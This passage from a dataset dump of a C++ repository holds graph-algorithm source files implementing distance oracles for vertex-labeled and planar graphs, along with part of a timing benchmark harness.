%d:\\n\", v);\n if (pg.vs()[v].edges.empty()) continue;\n int e_end = pg.vs()[v].edges[0], e = e_end;\n do {\n printf(\"%d - %d\\n\", pg.es()[e].u, pg.es()[e].v);\n e = pg.eNext(v, e);\n } while (e != e_end);\n }\n return;\n}\n\nvoid\nsubdivide(\n PlanarGraph g,\n const vector<int>& parent,\n vector< PlanarGraph >& subgs,\n vector< vector<int> >& mappings,\n vector< vector<int> >& parents,\n vector< vector< pair<int, int > > >& paths) {\n if (g.vs().size() <= 3) return;\n\n triangulate(g);\n int eC = 0;\n vector< vector< pair< int, int > > > eNum(g.es().size());\n\n if (g.vs()[0].edges.empty()) return;\n vector<int> eque;\n int v = 0, f = g.vs()[0].edges[0], ff, e = ff = g.eNext(v,f);\n g.eNext(0,f) = -1;\n\n while (e != -1) {\n if (e == parent[v]) {\n v = g.opp(v,e); ++eC; eque.push_back(e);\n e = g.eNext(v,e);\n } else {\n int u = g.opp(v, e);\n if (e == parent[u]) {\n v = u; ++eC; eque.push_back(e);\n e = g.eNext(v,e);\n } else {\n eNum[e].push_back(make_pair(v, eC));\n e = g.eNext(v,e);\n }\n }\n }\n g.eNext(0,f) = ff;\n\n int x[3], xe[3], xl[3], xr[3];\n x[0] = 0;\n xe[0] = g.vs()[0].edges[0];\n\n// printEmbedded(g);\n\n bool stop = false; \n while (!stop) {\n stop = true;\n\n x[1] = g.opp(x[0], xe[0]);\n xe[1] = g.eNext(x[1], xe[0]);\n x[2] = g.opp(x[1], xe[1]);\n xe[2] = g.eNext(x[2], xe[1]);\n assert(x[0] == g.opp(x[2], xe[2]));\n\n for (int i=0; i<3; ++i) {\n int a = x[i], b = x[(i+1)%3];\n int e = xe[i];\n int n;\n\n if (eNum[e].empty()) {\n xr[i] = -1;\n xl[i] = -1;\n continue;\n } else if (eNum[e][0].first == a && eNum[e][1].first == b) {\n xr[i] = eNum[e][1].second;\n xl[i] = eNum[e][0].second;\n n = xr[i] - xl[i];\n } else if (eNum[e][0].first == b && eNum[e][1].first == a) {\n xr[i] = eNum[e][0].second;\n xl[i] = eNum[e][1].second;\n n = xr[i] - xl[i];\n } else {\n assert(false);\n }\n if (n <= 0) n += (g.vs().size()-1) * 2;\n if (n > ((int)g.vs().size()-1)*2 / 2 ) { // log_{2}\n stop = false;\n xe[0] = xe[i];\n x[0] = x[(i+1)%3];\n break;\n }\n }\n }\n\n vector<int> vsplit(g.vs().size(), -1);\n for (int i=0; i<3; ++i) {\n if (xl[i] == -1) continue;\n \n bool xxor = xl[i] >= xr[i];\n for (int j=0; j<(int)eque.size(); ++j) {\n if (((xl[i] <= j) && (j < xr[i])) ^ xxor) {\n vsplit[g.es()[eque[j]].u] = i;\n vsplit[g.es()[eque[j]].v] = i;\n }\n }\n }\n\n for (int i=0; i<3; ++i) {\n vector< pair< int, int > > path;\n int v = x[i];\n while (v != 0) {\n vsplit[v] = -1;\n path.push_back(make_pair(v, parent[v]));\n v = g.opp(v, parent[v]);\n }\n path.push_back(make_pair(0, -1));\n paths.push_back(path);\n }\n vsplit[0] = -1;\n\n vector< int > vInd(g.vs().size(), -1);\n vector< int > eInd(g.es().size(), -1);\n for (int i=0; i<3; ++i) {\n if (xl[i] == -1) continue;\n \n vector<int> selection;\n for (int j=0; j<(int)g.vs().size(); ++j) {\n if (vsplit[j] == i) selection.push_back(j);\n }\n\n PlanarGraph tmpSubg;\n vector<int> tmpMapping, tmpParent;\n \n extractSubgraph(\n g, parent, selection,\n tmpSubg, tmpParent, tmpMapping,\n vInd, eInd);\n \n subgs.push_back(tmpSubg);\n mappings.push_back(tmpMapping);\n parents.push_back(tmpParent);\n\n } \n}\n" }, { "alpha_fraction": 0.47583726048469543, "alphanum_fraction": 0.4801079034805298, "avg_line_length": 23.24523162841797, "blob_id": "652a87211a811e9a814758e236e43220fc80e2ca", "content_id": "92b1c1a3351c5e041d150f4994516bf083f3f34a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8898, "license_type": "no_license", "max_line_length": 91, "num_lines": 367, "path": "/src/oracle_general_approx.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_GENERAL_APPROX_H_\n#define _ORACLE_GENERAL_APPROX_H_\n\n#include \"precision.h\"\n#include \"graph.h\"\n\n#include <vector>\n#include <algorithm>\n#include <unordered_map>\n#include <queue>\n#include <set>\n\nusing std::pair;\nusing std::make_pair;\nusing std::vector;\nusing std::multiset;\nusing std::set;\nusing std::unordered_map;\nusing std::random_shuffle;\nusing std::max;\nusing std::priority_queue;\nusing std::greater;\n\nclass OracleGeneralApprox {\nprotected: \n\n// Fields\n int n;\n\n vector<int> portalNumbers;\n vector<int> portalIndices;\n \n struct Portal {\n vector< W > D_v;\n vector< set< pair<W, int> > > N_l;\n };\n vector<Portal> portals;\n\n struct Vertex {\n int label; \n int p;\n W pd;\n vector< pair<W, int> > dist;\n };\n vector<Vertex> vertices;\n\n// Methods\n\n virtual\n void initializeWithLabels(const Graph &g, const vector<int> &llabels, int ro) {\n n = g.n;\n vertices.resize(g.n);\n for (int v=0; v<g.n; ++v) {\n vertices[v].label = llabels[v];\n }\n\n if (ro == -1) ro = max(1, (int)sqrt(g.n));\n selectPortals(ro);\n portals.resize(ro);\n \n for (int i=0; i<(int)portalNumbers.size(); ++i)\n initializePortals(g, i);\n \n for (int v=0; v<g.n; ++v)\n initializeDistances(g, v);\n\n for (int v=0; v<g.n; ++v)\n crossPieces(v);\n\n initializeStructures();\n }\n\n virtual\n void selectPortals(int ro) {\n for (int i=0; i<n; ++i) {\n portalNumbers.push_back(i);\n }\n random_shuffle(portalNumbers.begin(), portalNumbers.end());\n portalNumbers.resize(ro);\n portalIndices = vector<int>(n, -1);\n for (int i=0; i<ro; ++i) {\n portalIndices[portalNumbers[i]] = i;\n }\n }\n\n virtual\n void initializePortals(const Graph &g, int pi) {\n int p = portalNumbers[pi];\n \n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n \n queue.push(make_pair(0, p));\n dist[p] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n portals[pi].N_l.resize(g.n);\n for (int v=0; v<g.n; ++v) {\n portals[pi].N_l[vertices[v].label].insert(make_pair(dist[v], v));\n }\n swap(portals[pi].D_v, dist);\n }\n \n virtual\n void initializeDistances(const Graph& g, int v) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (portalIndices[u] != -1) {\n vertices[v].pd = ud;\n vertices[v].p = portalIndices[u];\n break;\n }\n vertices[v].dist.push_back(curr);\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n }\n\n virtual\n void crossPieces(int v) {\n vector< pair<W, int> > truncated;\n for (auto curr: vertices[v].dist) {\n \n if (make_pair(vertices[curr.second].pd, portalNumbers[vertices[curr.second].p])\n > make_pair(curr.first, v)) {\n truncated.push_back(curr);\n }\n }\n swap(vertices[v].dist, truncated);\n }\n\n virtual\n void initializeStructures() {\n printf(\"Base class called!\\n\");\n };\n\n virtual\n void applyLabel(int v, int l) = 0;\n\n virtual\n void purgeLabel(int v) = 0;\n\n OracleGeneralApprox() {}\n\npublic:\n virtual\n ~OracleGeneralApprox() {}\n\n void setLabel(int v, int l) {\n purgeLabel(v);\n applyLabel(v, l);\n }\n\n int labelOf(int v) {\n return vertices[v].label;\n }\n};\n\nclass OracleGeneralApproxLight {\nprotected: \n\n// Fields\n int n;\n\n vector<int> portalNumbers;\n vector<int> portalIndices;\n \n struct Portal {\n vector< W > D_v;\n vector< multiset< W > > N_l;\n };\n vector<Portal> portals;\n\n struct Vertex {\n int label; \n int p;\n W pd;\n vector< pair<W, int> > dist;\n };\n vector<Vertex> vertices;\n\n// Methods\n\n virtual\n void initializeWithLabels(const Graph& g, const vector<int> &llabels, int ro) {\n n = g.n;\n vertices.resize(g.n);\n for (int v=0; v<g.n; ++v) {\n vertices[v].label = llabels[v];\n }\n\n if (ro == -1) ro = max(1, (int)sqrt(g.n));\n selectPortals(ro);\n portals.resize(ro);\n \n for (int i=0; i<(int)portalNumbers.size(); ++i)\n initializePortals(g, i);\n \n for (int v=0; v<g.n; ++v)\n initializeDistances(g, v);\n\n for (int v=0; v<g.n; ++v)\n crossPieces(v);\n\n initializeStructures();\n }\n\n virtual\n void selectPortals(int ro) {\n for (int i=0; i<n; ++i) {\n portalNumbers.push_back(i);\n }\n random_shuffle(portalNumbers.begin(), portalNumbers.end());\n portalNumbers.resize(ro);\n portalIndices = vector<int>(n, -1);\n for (int i=0; i<ro; ++i) {\n portalIndices[portalNumbers[i]] = i;\n }\n }\n\n virtual\n void initializePortals(const Graph &g, int pi) {\n int p = portalNumbers[pi];\n \n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n \n queue.push(make_pair(0, p));\n dist[p] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n portals[pi].N_l.resize(g.n);\n for (int v=0; v<g.n; ++v) {\n portals[pi].N_l[vertices[v].label].insert(dist[v]);\n }\n swap(portals[pi].D_v, dist);\n }\n \n virtual\n void initializeDistances(const Graph &g, int v) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (portalIndices[u] != -1) {\n vertices[v].pd = ud;\n vertices[v].p = portalIndices[u];\n break;\n }\n vertices[v].dist.push_back(curr);\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n }\n\n virtual\n void crossPieces(int v) {\n vector< pair<W, int> > truncated;\n for (auto curr: vertices[v].dist) {\n \n if (make_pair(vertices[curr.second].pd, portalNumbers[vertices[curr.second].p])\n > make_pair(curr.first, v)) {\n truncated.push_back(curr);\n }\n }\n swap(vertices[v].dist, truncated);\n }\n\n virtual\n void initializeStructures() {\n printf(\"Base class called!\\n\");\n };\n\n virtual\n void applyLabel(int v, int l) = 0;\n\n virtual\n void purgeLabel(int v) = 0;\n\n OracleGeneralApproxLight() {}\n\npublic:\n\n virtual\n ~OracleGeneralApproxLight() {}\n\n void setLabel(int v, int l) {\n purgeLabel(v);\n applyLabel(v, l);\n }\n\n int labelOf(int v) {\n return vertices[v].label;\n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.5615910887718201, "alphanum_fraction": 0.5624465346336365, "avg_line_length": 24.9777774810791, "blob_id": "313be7b633903faff9b054bf530813d2a2bb8ad7", "content_id": "2b5d5c941a9c46a2ef7d7e4cb36159ea1b4e3ac2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2338, "license_type": "no_license", "max_line_length": 90, "num_lines": 90, "path": "/src/planar_oracle.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_H_\n#define _ORACLE_H_\n\n#include \"planar.h\"\n#include \"oracle_internal.h\"\n\n#include <map>\n#include <unordered_map>\n#include <set>\n#include <cmath>\nusing std::map;\nusing std::unordered_map;\nusing std::set;\nusing std::min;\nusing std::max;\nusing std::sqrt;\n\nclass PlanarOracle {\nprotected:\n //! Ro parameter specifying size of leafs of recursive subdivision\n int ro;\n\n //! Process a planar graph - a leaf of recursive subdivision\n virtual\n void processLeaf(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<bool>& source) = 0;\n\n //! Process portals - selected vertices during a step of subdivision of a planar graph\n virtual\n void processPortals(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<int>& portal,\n const vector<bool>& source) = 0;\n\n //! Builds an oracle\n void initialize(\n int n,\n const vector< pair< int, int > >& edges, \n const vector< W >& weights,\n W eps);\n\n //! Split set of vertices into layers \n virtual\n void getLayers(\n vector<W> dist,\n W alpha,\n vector<int>& layerNum);\n\n //! Creates a set of planar graphs based on set of layers\n void getAlphaFamily(\n const PlanarGraph& g, \n W alpha, \n vector< PlanarGraph >& subgs,\n vector< vector<int> >& mappings,\n vector< vector<int> >& parents,\n vector< vector<bool> >& sources);\n\n //! Chooses a set of portals on given paths splitting planar graph\n void selectPathPortals(\n const PlanarGraph& g, \n W alpha, \n W eps,\n vector< vector< pair<int, int> > > paths,\n vector<int>& portal);\n\n //! Performs a recursive subdivision\n void subdivideRecursively(\n const PlanarGraph& pg,\n W alpha,\n W eps,\n const vector<int>& mapping,\n const vector<int>& parents,\n const vector<bool>& sources\n );\n\npublic:\n PlanarOracle() {}\n PlanarOracle(\n int n,\n const vector< pair< int, int > >& edges, \n const vector< W >& weights,\n W eps) {\n initialize(n, edges, weights, eps);\n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.47153589129447937, "alphanum_fraction": 0.476210355758667, "avg_line_length": 29.483461380004883, "blob_id": "26101d24b79eb169462387361ff8be1d464691ab", "content_id": "a8b8de3f949defe6f36121d106054f481f62f08f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11980, "license_type": "no_license", "max_line_length": 94, "num_lines": 393, "path": "/src/full_planar_oracle.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _FULL_PLANAR_ORACLE_H_\n#define _FULL_PLANAR_ORACLE_H_\n\n#include \"planar_oracle.h\"\n#include \"find_union.h\"\n\n#include <iostream>\nusing namespace std;\n\nclass FullPlanarOracle : public PlanarOracle {\n \n struct Vertex {\n int label;\n vector< pair<W, int> > portals, rportals;\n vector< pair<W, int> > rdist;\n };\n vector< Vertex > vertices;\n \n struct Label {\n unordered_map< int, set< pair<W, int> > > S_v;\n }; \n vector< Label > labels;\n\n struct Portal {\n unordered_map<int, set< pair<W, int> > > N_l;\n Portal() {}\n };\n vector< Portal > portals;\n \n virtual\n void processLeaf(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<bool>& source) {\n \n vector<W> distances;\n for (int v=0; v<(int)pg.vs().size(); ++v) {\n int vv = mapping[v];\n if (vv == -1) continue;\n if (!source[v]) continue;\n\n getDistances(pg, v, distances);\n\n for (int u=0; u<(int)pg.vs().size(); ++u) {\n int uu = mapping[u];\n if (uu == -1) continue;\n if (distances[u] == infinity) continue;\n vertices[uu].rdist.push_back(make_pair(distances[u], vv));\n }\n }\n }\n\n virtual\n void processPortals(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<int>& newPortals,\n const vector<bool>& source) {\n \n vector<W> distances;\n for (int p: newPortals) {\n getDistances(pg, p, distances);\n portals.push_back(Portal());\n for (int j=0; j<(int)mapping.size(); ++j) {\n int v = mapping[j];\n if (v == -1) continue;\n if (distances[j] == infinity) continue;\n\n portals.back().N_l[ vertices[v].label ].insert(make_pair(distances[j], v));\n\t\tvertices[v].rportals.push_back(make_pair(distances[j], portals.size()-1));\n if (source[j]) {\n vertices[v].portals.push_back(make_pair(distances[j], portals.size()-1));\n }\n }\n }\n }\n\n virtual\n void initializeStructures() {\n for (auto &V: vertices) {\n sort(V.rdist.begin(), V.rdist.end());\n auto it = unique(V.rdist.begin(), V.rdist.end());\n V.rdist.resize(it - V.rdist.begin());\n }\n\n for (int v=0; v<(int)vertices.size(); ++v) {\n int l = vertices[v].label;\n for (auto &curr: vertices[v].rdist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(make_pair(du,v));\n }\n }\n }\n\n virtual\n void applyLabel(int v, int l) {\n vertices[v].label = l;\n for (auto &p: vertices[v].rportals) {\n portals[p.second].N_l[l].insert(make_pair(p.first, v));\n }\n\n for (pair<W, int> &curr: vertices[v].rdist) {\n W du = curr.first;\n int u = curr.second;\n labels[l].S_v[u].insert(make_pair(du,v));\n }\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n\n for (auto &p: vertices[v].rportals) {\n auto it = portals[p.second].N_l.find(l);\n it->second.erase(make_pair(p.first, v));\n if (it->second.empty()) {\n portals[p.second].N_l.erase(it);\n }\n }\n\n for (pair<W, int> &curr: vertices[v].rdist) {\n W du = curr.first;\n int u = curr.second;\n auto it3 = labels[l].S_v.find(u);\n it3->second.erase(make_pair(du, v));\n if (it3->second.empty()) {\n labels[l].S_v.erase(it3);\n }\n }\n }\n\npublic:\n FullPlanarOracle(\n int n,\n const vector< pair< int, int > >& edges, \n const vector< W >& weights,\n const vector< int > llabels,\n W eps = 1.) : labels(n) {\n ro = min(n, 3);\n vertices = vector<Vertex>(n);\n for (int i=0; i<n; ++i) vertices[i].label = llabels[i];\n initialize(n, edges, weights, eps);\n initializeStructures();\n\n\tlong long sum = 0;\n for (auto &v: vertices) {\n\t\tsum += (int)v.portals.size();\n }\n\tcerr << sum << \" / \" << (int)portals.size() << \" = \" << (float)sum/portals.size() << endl;\n\tcerr << sum << \" / \" << (int)vertices.size() << \" = \" << (float)sum/vertices.size() << endl;\n }\n\n virtual\n int labelOf(int v) {\n return vertices[v].label;\n }\n\n virtual\n void setLabel(int v, int l) {\n purgeLabel(v);\n applyLabel(v, l);\n }\n\n virtual\n pair<W, int> distanceToLabel(int v, int l) {\n pair<W, int> result(infinity, -1);\n for (auto &p: vertices[v].portals) {\n auto it = portals[p.second].N_l[l].begin();\n if (it == portals[p.second].N_l[l].end()) continue;\n result = min(result, make_pair(p.first + it->first, it->second));\n }\n auto it = labels[l].S_v.find(v);\n if (it != labels[l].S_v.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n};\n\nclass FullFullPlanarOracle : public PlanarOracle {\n \n struct Vertex {\n int label;\n vector< pair<W, int> > portals;\n vector< pair<W, int> > dist;\n };\n vector< Vertex > vertices;\n \n struct Label {\n unordered_map< int, set< pair<W, int> > > S_v;\n unordered_map< int, set< pair<W, pair<int, int> > > > P_l;\n }; \n vector< Label > labels;\n\n struct Portal {\n map<int, set< pair<W, int> > > N_l;\n Portal() {}\n };\n vector< Portal > portals;\n \n virtual\n void processLeaf(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<bool>& source) {\n \n vector<W> distances;\n for (int v=0; v<(int)pg.vs().size(); ++v) {\n int vv = mapping[v];\n if (vv == -1) continue;\n\n getDistances(pg, v, distances);\n\n for (int u=0; u<(int)pg.vs().size(); ++u) {\n int uu = mapping[u];\n if (uu == -1) continue;\n if (distances[u] == infinity) continue;\n vertices[uu].dist.push_back(make_pair(distances[u], vv));\n }\n }\n }\n\n virtual\n void processPortals(\n const PlanarGraph& pg,\n const vector<int>& mapping,\n const vector<int>& newPortals,\n const vector<bool>& source) {\n \n vector<W> distances;\n for (int p: newPortals) {\n getDistances(pg, p, distances);\n portals.push_back(Portal());\n for (int j=0; j<(int)mapping.size(); ++j) {\n int v = mapping[j];\n if (v == -1) continue;\n if (distances[j] == infinity) continue;\n\n portals.back().N_l[ vertices[v].label ].insert(make_pair(distances[j], v));\n\t\tvertices[v].portals.push_back(make_pair(distances[j], portals.size()-1));\n }\n }\n }\n\n virtual\n void initializeStructures() {\n for (auto &V: vertices) {\n sort(V.dist.begin(), V.dist.end());\n auto it = unique(V.dist.begin(), V.dist.end());\n V.dist.resize(it - V.dist.begin());\n }\n\n for (int v=0; v<(int)vertices.size(); ++v) {\n int l = vertices[v].label;\n for (auto &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n labels[l].S_v[u].insert(make_pair(du,v));\n labels[l].P_l[ll].insert(make_pair(du, make_pair(v, u)));\n if (v != u) labels[ll].P_l[l].insert(make_pair(du, make_pair(u, v)));\n }\n }\n }\n\n virtual\n void applyLabel(int v, int l) {\n vertices[v].label = l;\n for (auto &p: vertices[v].portals) {\n portals[p.second].N_l[l].insert(make_pair(p.first, v));\n }\n\n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n\n labels[l].S_v[u].insert(make_pair(du,v));\n labels[l].P_l[ll].insert(make_pair(du, make_pair(v, u)));\n if (v != u) labels[ll].P_l[l].insert(make_pair(du, make_pair(u, v)));\n }\n }\n\n virtual\n void purgeLabel(int v) {\n int l = vertices[v].label;\n\n for (auto &p: vertices[v].portals) {\n auto it = portals[p.second].N_l.find(l);\n it->second.erase(make_pair(p.first, v));\n if (it->second.empty()) {\n portals[p.second].N_l.erase(it);\n }\n }\n\n for (pair<W, int> &curr: vertices[v].dist) {\n W du = curr.first;\n int u = curr.second;\n int ll = vertices[u].label;\n \n auto it1 = labels[ll].P_l.find(l);\n it1->second.erase(make_pair(du, make_pair(u, v)));\n if (it1->second.empty()) {\n labels[ll].P_l.erase(it1);\n }\n\n if (v != u) {\n auto it2 = labels[l].P_l.find(ll);\n it2->second.erase(make_pair(du, make_pair(v, u)));\n if (it2->second.empty()) {\n labels[l].P_l.erase(it2);\n }\n }\n \n auto it3 = labels[l].S_v.find(u);\n it3->second.erase(make_pair(du, v));\n if (it3->second.empty()) {\n labels[l].S_v.erase(it3);\n }\n }\n }\n\npublic:\n FullFullPlanarOracle(\n int n,\n const vector< pair< int, int > >& edges, \n const vector< W >& weights,\n const vector< int > llabels,\n W eps = 1.) : labels(n) {\n ro = max(3, min(n, (int)sqrt(n)));\n vertices = vector<Vertex>(n);\n for (int i=0; i<n; ++i) vertices[i].label = llabels[i];\n initialize(n, edges, weights, eps);\n initializeStructures();\n\n\tlong long sum = 0;\n for (auto &v: vertices) {\n\t\tsum += (int)v.portals.size();\n }\n\tcerr << sum << \" / \" << (int)portals.size() << \" = \" << (float)sum/portals.size() << endl;\n\tcerr << sum << \" / \" << (int)vertices.size() << \" = \" << (float)sum/vertices.size() << endl;\n }\n\n virtual\n int labelOf(int v) {\n return vertices[v].label;\n }\n\n virtual\n void setLabel(int v, int l) {\n purgeLabel(v);\n applyLabel(v, l);\n }\n\n virtual\n pair<W, int> labelToLabel(int v, int l) {\n pair<W, int> result(infinity, -1);\n for (auto &p: vertices[v].portals) {\n auto itt = portals[p.second].N_l.find(l);\n if (itt == portals[p.second].N_l.end()) continue;\n auto it = itt->second.begin();\n if (it == itt->second.end()) continue;\n result = min(result, make_pair(p.first + it->first, it->second));\n }\n auto it = labels[l].S_v.find(v);\n if (it != labels[l].S_v.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n\n virtual\n pair<W, pair<int, int> > distanceBetweenLabels(int l1, int l2) {\n pair<W, pair<int, int> > result(infinity, make_pair(-1, -1));\n for (auto &p: portals) {\n if (p.N_l.find(l1) == p.N_l.end()) continue;\n if (p.N_l[l1].empty()) continue;\n if (p.N_l.find(l2) == p.N_l.end()) continue;\n if (p.N_l[l2].empty()) continue;\n auto v = *p.N_l[l1].begin();\n auto u = *p.N_l[l2].begin();\n result = min(result, make_pair(v.first + u.first, make_pair(v.second, u.second)));\n }\n auto it = labels[l1].P_l.find(l2);\n if (it != labels[l1].P_l.end()) {\n result = min(result, *it->second.begin());\n }\n return result;\n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.5463066101074219, "alphanum_fraction": 0.5618504285812378, "avg_line_length": 30.881656646728516, "blob_id": "8dca8e9e53ae00fada102d56336e33ad17dc993a", "content_id": "aa011203c30cc4128194ef033e4677482fe53e31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 21552, "license_type": "no_license", "max_line_length": 140, "num_lines": 676, "path": "/src/oracle_main.cpp", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#include \"oracle_naive.h\"\n#include \"oracle_general_3approx.h\"\n#include \"oracle_general_5approx.h\"\n#include \"full_planar_oracle.h\"\n#include \"oracle_tester.h\"\n\n#include <cstdio>\n#include <cassert>\n#include <chrono>\n#include <string>\nusing std::string;\n\nusing namespace std::chrono;\n\nhigh_resolution_clock::time_point start, stop;\nvoid startTime() {\n start = high_resolution_clock::now();\n}\n\nfloat stopTime() {\n stop = high_resolution_clock::now();\n return duration_cast< duration<float> >(stop - start).count();\n}\n\nvoid stopTimePrint() {\n stop = high_resolution_clock::now();\n printf(\"%.12f\\n\", duration_cast< duration<float> >(stop - start).count());\n}\n\ntemplate <class O>\ninline\ndouble timeProportionTest(O &oracle, int m, const vector<int> &type, const vector< pair<int, int> > &query) {\n startTime();\n for (int i=0; i<m; ++i) {\n switch (type[i]) {\n case 0: oracle.setLabel(query[i].first, query[i].second); break;\n case 1: oracle.distanceToLabel(query[i].first, oracle.labelOf(query[i].second)); break;\n }\n }\n return stopTime();\n}\n\ntemplate <class O>\ninline\ndouble timeLabelProportionTest(O &oracle, int m, const vector<int> &type, const vector< pair<int, int> > &query) {\n startTime();\n for (int i=0; i<m; ++i) {\n switch (type[i]) {\n case 0: oracle.setLabel(query[i].first, query[i].second); break;\n case 1: oracle.distanceBetweenLabels(oracle.labelOf(query[i].first), oracle.labelOf(query[i].second)); break;\n }\n }\n return stopTime();\n}\n \nconst int K = 100;\nconst int T = 20;\nconst int M = 10000;\n\ntemplate <class O>\nvoid performVertexToLabelProportionTest(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac = 1.) {\n\n srand(-1);\n\n vector<int> labels(n);\n// random\n for (int i=0; i<n; ++i) labels[i] = rand() % n;\n// groups of K\n/*\n for (int i=0; i<n; ++i) labels[i] = i / K;\n vector<int> labelsCopy(labels);\n int last = 0;\n*/\n fprintf(stderr, \"Constructing...\\n\");\n fflush(stderr);\n O oracle(n, edges, weights, labels);\n fprintf(stderr, \" - done\\n\");\n\n for (int t=0; t<=T; ++t) {\n fprintf(stderr, \"t: %d\\n\", t);\n vector< int > type(M);\n vector< pair<int, int> > query(M);\n\n int a = pow(n, 0.5+(float)(t-T/2)/T/frac);\n int b = pow(n, 0.5+(float)(T/2-t)/T/frac);\n vector<int> typeCycle(a+b);\n for (int i=0; i<a; ++i) typeCycle[i] = 0;\n for (int i=a; i<a+b; ++i) typeCycle[i] = 1;\n random_shuffle(typeCycle.begin(), typeCycle.end());\n\n int tc = 0;\n for (int i=0; i<M; ++i) {\n type[i] = typeCycle[tc++];\n if (tc == a+b) tc = 0;\n// random\n\n switch (type[i]) {\n case 0: query[i] = make_pair(rand()%n, rand()%n); break;\n case 1: query[i] = make_pair(rand()%n, rand()%n); break;\n }\n/*\n// groups of K\n int v;\n switch (type[i]) {\n case 0: \n v = rand()%n;\n query[i] = make_pair(last, labelsCopy[v]); \n labelsCopy[last] = labelsCopy[v];\n last = v;\n break;\n case 1: \n query[i] = make_pair(rand()%n, labelsCopy[rand()%n]); \n break;\n }\n*/\n }\n\n printf(\"%.12f \", timeProportionTest(oracle, M, type, query)); \n }\n\n printf(\"\\n\");\n}\n\ntemplate <class O>\nvoid performLabelToLabelProportionTest(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac = 1.) {\n\n srand(-1);\n\n vector<int> labels(n);\n// random\n for (int i=0; i<n; ++i) labels[i] = rand() % n;\n// groups of K\n/*\n for (int i=0; i<n; ++i) labels[i] = i / K;\n vector<int> labelsCopy(labels);\n int last = 0;\n*/\n fprintf(stderr, \"Constructing...\\n\");\n fflush(stderr);\n O oracle(n, edges, weights, labels);\n fprintf(stderr, \" - done\\n\");\n\n for (int t=0; t<=T; ++t) {\n fprintf(stderr, \"t: %d\\n\", t);\n vector< int > type(M);\n vector< pair<int, int> > query(M);\n\n int a = pow(n, 0.5+(float)(t-T/2)/T/frac);\n int b = pow(n, 0.5+(float)(T/2-t)/T/frac);\n vector<int> typeCycle(a+b);\n for (int i=0; i<a; ++i) typeCycle[i] = 0;\n for (int i=a; i<a+b; ++i) typeCycle[i] = 1;\n random_shuffle(typeCycle.begin(), typeCycle.end());\n\n int tc = 0;\n for (int i=0; i<M; ++i) {\n type[i] = typeCycle[tc++];\n if (tc == a+b) tc = 0;\n// random\n\n switch (type[i]) {\n case 0: query[i] = make_pair(rand()%n, rand()%n); break;\n case 1: query[i] = make_pair(rand()%n, rand()%n); break;\n }\n/*\n// groups of K\n int v;\n switch (type[i]) {\n case 0: \n v = rand()%n;\n query[i] = make_pair(last, labelsCopy[v]); \n labelsCopy[last] = labelsCopy[v];\n last = v;\n break;\n case 1: \n query[i] = make_pair(rand()%n, labelsCopy[rand()%n]); \n break;\n }\n*/\n }\n\n printf(\"%.12f \", timeLabelProportionTest(oracle, M, type, query)); \n 